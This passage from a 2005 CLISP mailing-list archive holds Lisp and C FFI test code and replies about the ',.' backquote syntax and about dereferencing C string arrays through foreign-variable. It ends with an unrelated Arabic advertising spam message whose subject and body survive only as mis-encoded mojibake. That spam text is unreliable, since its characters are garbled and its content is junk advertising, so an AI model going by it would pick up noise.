DLLEXPORT char ** bar() { return cols; } ------------------------------------------------------------------- ;; Example of accessing arrays not null terminated ;; foo.lisp ;; see foo.c ;; Display C addresses of array and strings (FFI:DEF-CALL-OUT display-c-addresses (:library "foo.dll") (:language :stdc) (:name "display_c_addresses") (:arguments) (:return-type ffi:nil)) (display-c-addresses) ;; Demonstrate foreign-variable on a single c-pointer ;; First use automatic allocation and copy of string. (FFI:DEF-CALL-OUT foo1 (:library "foo.dll") (:language :stdc) (:name "foo") (:arguments) (:return-type ffi:c-string)) (setf s (foo1)) (format t "~%1. one: ~A" s) ;; Now manually allocate and copy string. (FFI:DEF-CALL-OUT foo2 (:library "foo.dll") (:language :stdc) (:name "foo") (:arguments) (:return-type ffi:c-pointer)) (setf s (foo2)) (format t "~%2. Address of one: ~A" s) ; Follow generates error: ; *** - Incomplete FFI type C-STRING is not allowed here. '(if (not (ffi:foreign-address-null s)) (format t "~%3. one: ~A" (ffi:foreign-value (ffi:foreign-variable s (ffi::parse-c-type 'c-string))))) ;; Now experiment with array of string pointers. (FFI:DEF-CALL-OUT bar1 (:library "foo.dll") (:language :stdc) (:name "bar") (:arguments) (:return-type ffi:c-pointer)) (setf s (bar1)) (format t "~%4. Foreign address s: ~A" s) (setf s (ffi:foreign-value (ffi:foreign-variable s (ffi:parse-c-type `(ffi:c-array ffi:c-string ,4))))) (format t "~%5. Vector of strings: ~A" s) ;; c-string worked above and in conjunction ;; with foreign-value automatically allocated ;; and copied the strings! ;; Now we get fancy and first allocate ;; the array of foreign addresses. (setf s (bar1)) (setf s (ffi:foreign-value (ffi:foreign-variable s (ffi:parse-c-type `(ffi:c-array ffi:c-pointer ,4))))) ;; c-pointer "conversion" above is used so that ;; a test using foreign-address-null can be made ;; on each char * foreign address. That's because ;; SQL null values are indicated by null ptrs ;; and thus the array may have embedded NULL's! (format t "~%6. Vector of foreign addresses: ~A" s) ;; But now if we want to pull back a specific ;; string we can't for the same reason #3 above ;; failed. (setf s2 (svref s 1)) (format t "~%7. Foreign address of 2nd string: ~A" s2) ; Follow generates error again: ; *** - Incomplete FFI type C-STRING is not allowed here. '(if (not (ffi:foreign-address-null s2)) (format t "~%8. two: ~A" (ffi:foreign-value (ffi:foreign-variable s2 (ffi::parse-c-type 'c-string))))) From russell_mcmanus@yahoo.com Fri Feb 11 20:20:07 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CzolL-00084g-6e for clisp-list@lists.sourceforge.net; Fri, 11 Feb 2005 20:20:07 -0800 Received: from dsl254-123-194.nyc1.dsl.speakeasy.net ([216.254.123.194] helo=cl-user.org) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CzolJ-0001oK-PR for clisp-list@lists.sourceforge.net; Fri, 11 Feb 2005 20:20:07 -0800 Received: by cl-user.org (Postfix, from userid 1000) id A3A953B; Fri, 11 Feb 2005 23:19:18 -0500 (EST) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] weird macro expansion behavior References: <5F9130612D07074EB0A0CE7E69FD7A030333E9AB@S4DE8PSAAGS.blf.telekom.de> From: Russell McManus In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A030333E9AB@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Fri, 11 Feb 2005 15:10:59 +0100") Message-ID: <87hdki4dh5.fsf@cl-user.org> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 3.2 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 11 20:24:01 2005 X-Original-Date: Fri, 11 Feb 2005 23:19:18 -0500 "Hoehle, Joerg-Cyril" writes: > Russell McManus wrote: >> I tend to think that ,expr is shorthand for (unquote expr) as it is in >>scheme in which case the space should not be required. > > Thanks for pointing out to me that R5RS does not know about ",." > syntax. Only "," and ",@". I wasn't aware of this (yet another) > difference! Just to flaunt my ignorance, what does ,. do in CL, other than confuse ex-Scheme programmers? -russ From mm3@zepler.net Fri Feb 11 22:06:48 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CzqQa-0004Hk-46 for clisp-list@lists.sourceforge.net; Fri, 11 Feb 2005 22:06:48 -0800 Received: from raven.ecs.soton.ac.uk ([152.78.70.1]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CzqQZ-0005nk-F4 for clisp-list@lists.sourceforge.net; Fri, 11 Feb 2005 22:06:48 -0800 Received: from magpie.ecs.soton.ac.uk (magpie.ecs.soton.ac.uk [152.78.68.131]) by raven.ecs.soton.ac.uk (8.12.10/8.12.10) with ESMTP id j1C66hi3025921; Sat, 12 Feb 2005 06:06:43 GMT Received: from login.ecs.soton.ac.uk (IDENT:root@login [152.78.68.162]) by magpie.ecs.soton.ac.uk (8.9.3/8.9.3) with ESMTP id GAA02620; Sat, 12 Feb 2005 06:06:40 GMT Received: (from mm3@localhost) by login.ecs.soton.ac.uk (8.11.6/8.11.6) id j1C66eA05628; Sat, 12 Feb 2005 06:06:40 GMT X-Authentication-Warning: login.ecs.soton.ac.uk: mm3 set sender to mm3@zepler.net using -f From: Marcin Tustin To: Russell McManus Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] weird macro expansion behavior Message-ID: <20050212060639.GB28805@login.ecs.soton.ac.uk> References: <5F9130612D07074EB0A0CE7E69FD7A030333E9AB@S4DE8PSAAGS.blf.telekom.de> <87hdki4dh5.fsf@cl-user.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <87hdki4dh5.fsf@cl-user.org> User-Agent: Mutt/1.4i X-MailScanner-Information: Please contact helpdesk@ecs.soton.ac.uk for more information X-ECS-MailScanner: Found to be clean X-MailScanner-From: mm3@zepler.net X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 11 22:07:29 2005 X-Original-Date: Sat, 12 Feb 2005 06:06:40 +0000 On Fri, Feb 11, 2005 at 11:19:18PM -0500, Russell McManus wrote: > "Hoehle, Joerg-Cyril" writes: > > > Russell McManus wrote: > >> I tend to think that ,expr is shorthand for (unquote expr) as it is in > >>scheme in which case the space should not be required. > > > > Thanks for pointing out to me that R5RS does not know about ",." > > syntax. Only "," and ",@". I wasn't aware of this (yet another) > > difference! > > Just to flaunt my ignorance, what does ,. do in CL, other than confuse > ex-Scheme programmers? destructive ,@: * (defvar a 1) A * (defvar b '(2 3 4)) B * `(,a ,b) (1 (2 3 4)) * `(,a ,@b) (1 2 3 4) * (defvar c '(5 6)) C * `(,a ,@b ,@c) (1 2 3 4 5 6) * `(,a ,.b ,.c) (1 2 3 4 5 6) * b (2 3 4 5 6) * > -russ > > > ------------------------------------------------------- > SF email is sponsored by - The IT Product Guide > Read honest & candid reviews on hundreds of IT Products from real users. > Discover which products truly live up to the hype. Start reading now. > http://ads.osdn.com/?ad_id=6595&alloc_id=14396&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From Joerg-Cyril.Hoehle@t-systems.com Tue Feb 15 06:40:25 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D13sH-0007ju-OX for clisp-list@lists.sourceforge.net; Tue, 15 Feb 2005 06:40:25 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D13sH-0005hO-3v for clisp-list@lists.sourceforge.net; Tue, 15 Feb 2005 06:40:25 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Tue, 15 Feb 2005 15:39:33 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <1752Q57L>; Tue, 15 Feb 2005 15:39:56 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030333EDCB@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: jwebsmall@cox.net Subject: [clisp-list] FFI question cotinued MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 15 06:40:53 2005 X-Original-Date: Tue, 15 Feb 2005 15:39:50 +0100 John, what I see in your code snippets are - a possible confusing input: (setq s (foo s)); old s destroyed - a misconception: "take foreign address of Lisp string" - a possible bug in CLISP (please check) you wrote: > (:return-type ffi:c-pointer)) >(setf s (ffi:foreign-value (ffi:foreign-variable s > (ffi:parse-c-type `(ffi:c-array ffi:c-string ,4))))) >;; c-string worked above Fine, what do you want more? :-) >;; But now if we want to pull back a specific >;; string we can't for the same reason #3 above >;; failed. >(setf s2 (svref s 1)) You already have converted the whole array into a Lisp vector like #("one" nil "three"). Thus, there's no point in using FFI functions on s2 (nor the new s). I recommend that you dereference the whole array in one go, as above. = If you really want to access it element by element (possibly because = you only need very few of them), here's what you can do: (let* ((refer (foreign-variable s (parse-c-type `(c-array c-string ,actual-length))))) ; need to introduce places to make use of = CAST/OFFSET/ELEMENT/SLOT/... (ffi:with-c-place (place refer) (ffi:element place i))) > (ffi:foreign-value (ffi:foreign-variable s (ffi:parse-c-type=20 >'ffi:c-string))) >The above expression will produce the following error: > *** - Incomplete FFI type C-STRING is not allowed here. That is odd. I can't believe there's such a bug in your version of = CLISP, because my (older) CVS copy works fine. Could you please try something like follows (untested): (in-package "TEST" (:use "CL" "FFI")) (setq m (allocate-deep 'c-string "babar")) (describe m) (describe (foreign-variable (unsigned-foreign-address 1) ; don't dereference that! (parse-c-type 'c-string))) (describe (foreign-variable (foreign-address m) (parse-c-type 'c-string))) (foreign-value m) -> "babar" (foreign-value (foreign-variable (foreign-address m) (parse-c-type 'c-string))) -> "babar" Maybe the error you see stems from de facto calling foreign-variable on = a Lisp string. My CLISP gives: (foreign-variable "abc" (parse-c-type 'c-string)) *** - FFI:FOREIGN-VARIABLE: "abc" is not of type (OR FOREIGN-VARIABLE FOREIGN-ADDRESS) I cannot yet reproduce the error "Incomplete FFI type C-STRING" which = really sounds bogus. Regards, J=F6rg H=F6hle. From jwebsmall@cox.net Tue Feb 15 07:35:44 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D14jm-0002DG-AW for clisp-list@lists.sourceforge.net; Tue, 15 Feb 2005 07:35:42 -0800 Received: from lakermmtao08.cox.net ([68.230.240.31]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D14jk-0003nf-H3 for clisp-list@lists.sourceforge.net; Tue, 15 Feb 2005 07:35:42 -0800 Received: from rogareals8gkwt ([70.177.171.244]) by lakermmtao08.cox.net (InterMail vM.6.01.04.00 201-2131-117-20041022) with SMTP id <20050215153524.DCNB5415.lakermmtao08.cox.net@rogareals8gkwt>; Tue, 15 Feb 2005 10:35:24 -0500 Message-ID: <00b301c51373$f74a36d0$c00fa8c0@rogareals8gkwt> From: "John Small" To: "Hoehle, Joerg-Cyril" Cc: References: <5F9130612D07074EB0A0CE7E69FD7A030333EDCB@S4DE8PSAAGS.blf.telekom.de> Subject: Re: [clisp-list] FFI question cotinued MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 15 07:37:34 2005 X-Original-Date: Tue, 15 Feb 2005 10:35:23 -0500 Jorg, Your element by element solution solved my problem - thanks again. Below is the test you asked me to run. I run this program on CLisp 2.33.80 binary for win32 that I downloaded from Sam Steingold's website and got the following errors. (defpackage "TEST" (:use "COMMON-LISP" "FFI")) (in-package TEST) (setq m (allocate-deep 'ffi:c-string "babar")) (describe m) (describe (foreign-variable (unsigned-foreign-address 1) ; don't dereference that! (parse-c-type 'ffi:c-string))) (describe (foreign-variable (foreign-address m) (parse-c-type 'ffi:c-string))) (foreign-value m) ;; -> "babar" (foreign-value (foreign-variable (foreign-address m) (parse-c-type 'ffi:c-string))) ;; -> "babar" Msg: # is a foreign variable of foreign type C-STRING. Followed by error: *** - FOREIGN-VARIABLE: foreign variable # does not have the required allignment. I also ran the following reduced test which caused a segfault. ------------------------------------------ (FFI:DEF-CALL-OUT foo (:library "foo.dll") (:language :stdc) (:name "foo") (:arguments) (:return-type ffi:c-pointer)) (setf s (foo)) ; causes segfault on win32 (print (ffi:foreign-value (ffi:foreign-variable s (ffi:parse-c-type 'ffi:c-string)))) ------------------------------------------- #define DLLEXPORT _declspec(dllexport) char * msg = "Hello FFI World!"; DLLEXPORT char * foo() { return msg; } ------------------------------------------- From Joerg-Cyril.Hoehle@t-systems.com Tue Feb 15 09:13:30 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D16GP-00013A-NR for clisp-list@lists.sourceforge.net; Tue, 15 Feb 2005 09:13:29 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D16GO-0000Yf-1k for clisp-list@lists.sourceforge.net; Tue, 15 Feb 2005 09:13:29 -0800 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Tue, 15 Feb 2005 18:12:59 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <175JPVZG>; Tue, 15 Feb 2005 18:13:20 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030333EE17@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: jwebsmall@cox.net Cc: clisp-list@lists.sourceforge.net Subject: AW: [clisp-list] FFI question cotinued MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 15 09:14:51 2005 X-Original-Date: Tue, 15 Feb 2005 18:13:19 +0100 John, Please rerun the small tests with=20 > (unsigned-foreign-address 8) ; don't dereference that! and (load "foo.lisp" :print t) so we see intermediate values. I'd like to see what triggers this "incomplete FFI type" error. >I also ran the following reduced test which caused a segfault. >char * msg =3D "Hello FFI World!"; >(:return-type ffi:c-pointer)) >(ffi:foreign-variable s > (ffi:parse-c-type 'ffi:c-string)))) It's logical, since you have a char* and use it as a char**. If you want to construct a foreign-variable object for the *contents* = of msg, you must use an array with a bounded buffer, e.g. (c-array-max = character 100). The FOREIGN-VARIABLE objects require a known size (e.g. c-string has = sizeof(char*), typically 4). Or you use another indirection and can then use c-string. I.e., if you = were to use char **foo() { return &msg; } then the types would match and you'd get no segfault. Regards, J=F6rg H=F6hle. From nobody@navigator.websitewelcome.com Wed Feb 16 01:31:10 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D1LWY-0003y3-5h for clisp-list@lists.sourceforge.net; Wed, 16 Feb 2005 01:31:10 -0800 Received: from navigator.websitewelcome.com ([67.18.21.226]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1D1LWW-00050T-Mw for clisp-list@lists.sourceforge.net; Wed, 16 Feb 2005 01:31:10 -0800 Received: from nobody by navigator.websitewelcome.com with local (Exim 4.43) id 1D1LWL-0007q4-HS for clisp-list@lists.sourceforge.net; Wed, 16 Feb 2005 03:30:57 -0600 To: clisp-list@lists.sourceforge.net From: welcome@noxno.com Reply-To: welcome@noxno.com Message-Id: X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - navigator.websitewelcome.com X-AntiAbuse: Original Domain - lists.sourceforge.net X-AntiAbuse: Originator/Caller UID/GID - [99 99] / [47 12] X-AntiAbuse: Sender Address Domain - navigator.websitewelcome.com X-Source: X-Source-Args: X-Source-Dir: X-Spam-Score: 3.1 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 2.9 SUBJ_ILLEGAL_CHARS Subject contains too many raw illegal characters 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] ÏÚæÉ áÒíÇÑÉ ãæÞÚ ÅÚáÇäÇÊ ÇáÔÑÞíÉ ÇáãÈæÈÉ - ÅÚáÇäÇÊ Úáì ãÏÇÑ ÇáÓÇÚÉ ÊãíÒ ÈäÔÑ ÇáÇÚáÇäÇÊ Çáì ÇßËÑ ãä 18 ãáíæä Çãíá ÇÚáÇäÇÊ ÈæÇÓØÉ ãÓÌÇÊ ÇáÌæÇá ÅÚáÇäÇÊ ÈæÇÓØÉ ÇáäÔÑÇÊ ÇáÈÑíÏíÉ ááãæÞÚ . ÅÚáÇäÇÊ ÈæÇÓØÉ ÇáÝÇßÓ (áÅÚáÇäÇÊ ãÌÇäíÉ ) (ÅÚáÇäÇÊ ãÏÝæÚÉ)ÅÚáÇäÇÊ ããíÒÉ ÈÇáÕæÑÛíÑ ãÍÏÏ æÕÝÍÇÊ . ÊÝÖá ÈÒíÇÑÉ ÇáãæÞÚ æÇáÊÓÌíá æÝÊÍ ãÊÌÑß ÈÅÖÇÝÉ ÅÚáÇäÇÊß ÇáãÌÇäíÉ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 16 01:31:17 2005 X-Original-Date: Wed, 16 Feb 2005 03:30:57 -0600 ÇáÓáÇã Úáíßã æÑÍãÉ Çááå æÈÑßÇÊÉ ãæÞÚ ÅÚáÇäÇÊ ÇáÔÑÞíÉ ÇáãÈæÈÉ - ÅÚáÇäÇÊ Úáì ãÏÇÑ ÇáÓÇÚÉ ÊãíÒ ÈäÔÑ ÇáÇÚáÇäÇÊ Çáì ÇßËÑ ãä 18 ãáíæä Çãíá ÇÚáÇäÇÊ ÈæÇÓØÉ ãÓÌÇÊ ÇáÌæÇá ÅÚáÇäÇÊ ÈæÇÓØÉ ÇáäÔÑÇÊ ÇáÈÑíÏíÉ ááãæÞÚ . ÅÚáÇäÇÊ ÈæÇÓØÉ ÇáÝÇßÓ (áÅÚáÇäÇÊ ãÌÇäíÉ ) (ÅÚáÇäÇÊ ãÏÝæÚÉ)ÅÚáÇäÇÊ ããíÒÉ ÈÇáÕæÑÛíÑ ãÍÏÏ æÕÝÍÇÊ . ÊÝÖá ÈÒíÇÑÉ ÇáãæÞÚ æÇáÊÓÌíá æÝÊÍ ãÊÌÑß ÈÅÖÇÝÉ ÅÚáÇäÇÊß ÇáãÌÇäíÉ íÑÍÈ ÈÅÚáÇäÇÊßã : ÎÏãÇÊ ÅÚáÇäÇÊ ÇáÔÑÞíÉ ÇáãÈæÈÉ Ýí ÊÓæíÞ ÚÞÇÑß ááÌãåæÑ: ãÇåì ÇáÇÚáÇäÇÊ ÇáãÌÇäíÉ ÇáãÊÇÍå ááÇÚÖÇÁ..¿¿¿ ÇáãæÞÚ ãåãÊå ÊÓåíá Úãá ÇáÈÇÆÚ æÇáãÔÊÑí ÈÍíË Ãä Ãí ÚÖæÁ íÓÊØíÚ ÚÑÖ ÅÚáÇäå ÇáÊÌÇÑí ááÌãíÚ ÝÞØ Úáíå ÇáÊÓÌíá æÅÖÇÝÉ ÇÚáÇäÇÊå æ ÅÚØÇÁ ÇáÊÝÇÕíá Úä ÇáäÔÇØ ÇáÊÌÇÑí æãÍÊæì ÇáÅÚáÇä .æÎÕæÕÇð ÈÇáãäØÞÉ ÇáÔÑÞíå æÌãíÚ ãÏäåÇ . ÇáÏãÇã ÇáÎÈÑ ÇáÇÍÓÇÁ ÇáÌÈíá ÇáÎÝÌí ÍÝÑ ÇáÈÇØä ÇáåÝæÝ ÇáÞØíÝ . æäÓÃá Çááå Ãä íæÝÞäÇ Ýí åÐÇ ÇáÚãá æÊÎÑÌ ãäå ÇáÝÇÆÏÉ ááÌãíÚ . ÇáÅÚáÇäÇÊ ÇáãÌÇäíå : åí ÇÚáÇäÇÊ Ýí ËáÇËÉ ÇÞÓÇã ãä ÇáãæÞÚ ááÚÖæ ÇáÎíÇÑ Ýí ÅÖÇÝÉ ÅÚáÇäÇÊå ÇáãÌÇäíÉ . (1)ÇáÅÚáÇä ÇáÃæá ÇáãÌÇäí : Úä ØÑíÞ ÃÖÝ ÅÚáÇäß ÊÌÏå Ýí ÃÚá ÇáÕÝÍå ÇáÑÆíÓíÉ æáÇ íÊã ÊÝÚíáå ááãÊÕÝÍ ÇáÇ ãä ÞÈá ÇáÇÏÇÑÉ ÈÚÏ ãÑÇÌÚÊå Ýí ÎáÇÇá ÇáÓÇÚÇÊ ÇáÞáíáÉ ãä ÅÖÇÝÊå æíßæä ãæÞÚå Ýí ÇáÕÝÍå ÇáÑÆíÓíÉ Öãä ÇáÇÚáÇäÇÊ ÇáãæÌæÏå ÍÇáíÇ . (2)ÇáÅÚáÇä ÇáËÇäí ÇáãÌÇäí : íßæä Úä ØÑíÞ ãÊÌÑß ÇáÇßÊÑæäí æíÊã ÊÝÚíáå ãÈÇÔÑÊÇð ááÒæÇÑ æáß ÇáÕáÇÍíå ÈÍÐÝå æÊÚÏíáå æÊÍÏíËå æíÙåÑ ááÒæÇÑ Ýí ÇáÕÝÍå ÇáÑÆíÓíÉ ááãæÞÚ ÊÍÊ ÚäæÇä ãÊÇÌÑ ÇáÇÚÖÇÁ (3)ÇáÅÚáÇä ÇáËÇáË ÇáãÌÇäí : íßæä Úä ØÑíÞ ÇáãäÊÏì ÇáÊÌÇÑí ÍÓÈ ÇáÊÕäíÝÇÊ ÇáãÊÇÍå Êã ÊÝäíÏ ÇáØáÈ æÇáÚÑÖ íãßäß ÅÖÇÝÉ ÇÚáÇäß æÊÚÏíáå æÍÐÝå æÊÍÏíËå . ßíÝ ÊÓÊÝíÏ ãä ãÊÌÑß ÇáÇßÊÑæäí ...¿¿¿¿ ãÊÌÑ ÎÇÕ ÈÇáÇÚÖÇÁ íãßä ááÚÖæ Ýíå ÇáÍÐÝ æÇáÊÚÏíá æÇáÊÍÏíË áÅÚáÇäÇÊå ÇáãÖÇÝå ÝÞØ Ýí ãÊÌÑå ÇáÇßÊÑæäí æÅÖÇÝÉ ÑÏæÏ áÅÚáÇäÇÊå æÅÚáÇäÇÊ ÇáÇÚÖÇÁ íÊã ÐÇáß ÈÚÏ ÇáÊÓÌíá Ýí ÇáãæÞÚ .æíãßä ááÚÖæ Çä íÑì ÌãíÚ ãÊÇÌÑ ÇáÇÚÖÇÁ æÅÖÇÝÉ ÇáÇÚáÇäÇÊ ãÈÇÔÑÊÇ Çáì ÇáãæÞÚ ÈÏæä ÊÝÚíá ãä ÇáÇÏÇÑå æÊÙåÑ ÅÚáÇäÇÊå ááÒæÇÑ Ýí ÇáÕÝÍÉ ÇáÑÆíÓíÉ ÊÍÊ ÚäæÇä ãÊÇÌÑ ÇáÇÚÖÇÁ æíãßäå ÊÍÏíËåÇ æÊÚÏíáåÇ æÊÝÚíáåÇ Ýí Çí æÞÊ íÔÇÁ . ---- ((ÌãíÚ ÇÚáÇäÇÊß ßÇ ÚÖæ ãÓÌá ÓæÝ Êßæä ãÍÝæÙå ÊÍÊ ÇÓãß ÇáãÓÌá Èå ÈÇãßÇäß ÇáÙÛØ Úáì ÇÓã ÇáÚÖæíÉ æÊÕÝÍ ßÇãá ÇÚáÇäÇÊå Ýí ÇáËáÇËÉ ÇÞÓÇã ÇáÓÇÈÞÉ.. Ãæ Úä ØÑíÞ ÇáÈÍË ÈÃÖÇÝÉ ÇÓã ãßÊÈ Çæ .... ãÇ ÊÈÍË Úäå .¿¿... ÓæÝ ÊÌÏ ÈÍË ãÝÕá ÈÇáÙÛØ Úáì ÈÍË ãÊÞÏã )) ÇáÇÚáÇäÇÊ ÇáãÏÝæÚå: (1)ÅÚáÇä ããíÒ ÌÏÇó: ÈäÇÑÝí ÇáæÇÌåÉ ÇáÕÝÍÉ ÇáÑÆíÓíÉ ÈÌÇäÈ ÔÚÇÑ ÇáãæÞÚ íÙåÑ Ýí ÌãíÚ ÕÝÍÇÊ ÇáãæÞÚ .. æÚäÏ ÇáÙÛØ Úáíå íÄÏí Çáì ÕÝÍÉ ãæÖÍ ÈåÇ ÇáäÔÇØ ÇáÊÌÇÑí ÈÇáÊÝÕíá æÇáÕæÑ ãÑ龯 ÈãÊÌÑß .. íÊØáÈ ãäß ÇáÊÓÌíá æÅÖÇÝÉ ÌãíÚ ÅÚáÇäÇÊß.. ÇáÖÇÝíÉ íãæíÇð áßí ÊäÖã Çáì ãÊÌÑß æÅÚáÇäß ÇáããíÒ ãÈÇÔÑÊÇó... íÌÈ Ãä íßæä ãÞÇÓ ÇáÈÇäÑ 450 Ýí 80 -- ÇáÔåÑ 300 ÑíÇá , ÃÞÕì ÝÊÑÉ ËáÇËÉ ÃÔåÑ 900 ÑíÇá .. (2) ÅÚáÇä ããíÒ ËÇÈÊ ÈäÇÑ Ýí ÇáÞÇÆãÉ ÇáíÓÑì Ýí ÃÚáÇ ÇáÕÝÍÉ ËÇÈÊ íÙåÑÝÞØ Ýí ÇáÕÝÍÉ ÇáÑÆíÓíÉ æÚäÏ ÇáÙÛØ Úáíå íÄÏí Çáì ÕÝÍÉ ãæÖÍ ÈåÇ ÇáäÔÇØ ÇáÊÌÇÑí ÈÇáÊÝÕíá... íÊØáÈ ãäß ÇáÊÓÌíá æÅÖÇÝÉ ÌãíÚ ÅÚáÇäÇÊß..ÇáÅÖÇÝíÉ íãæíÇð áßí ÊäÖã Çáì ãÊÌÑß æÅÚáÇäß ÇáããíÒ ãÈÇÔÑÊÇó íÌÈ Ãä íßæä ãÞÇÓ ÇáÈÇäÑ 140 Ýí 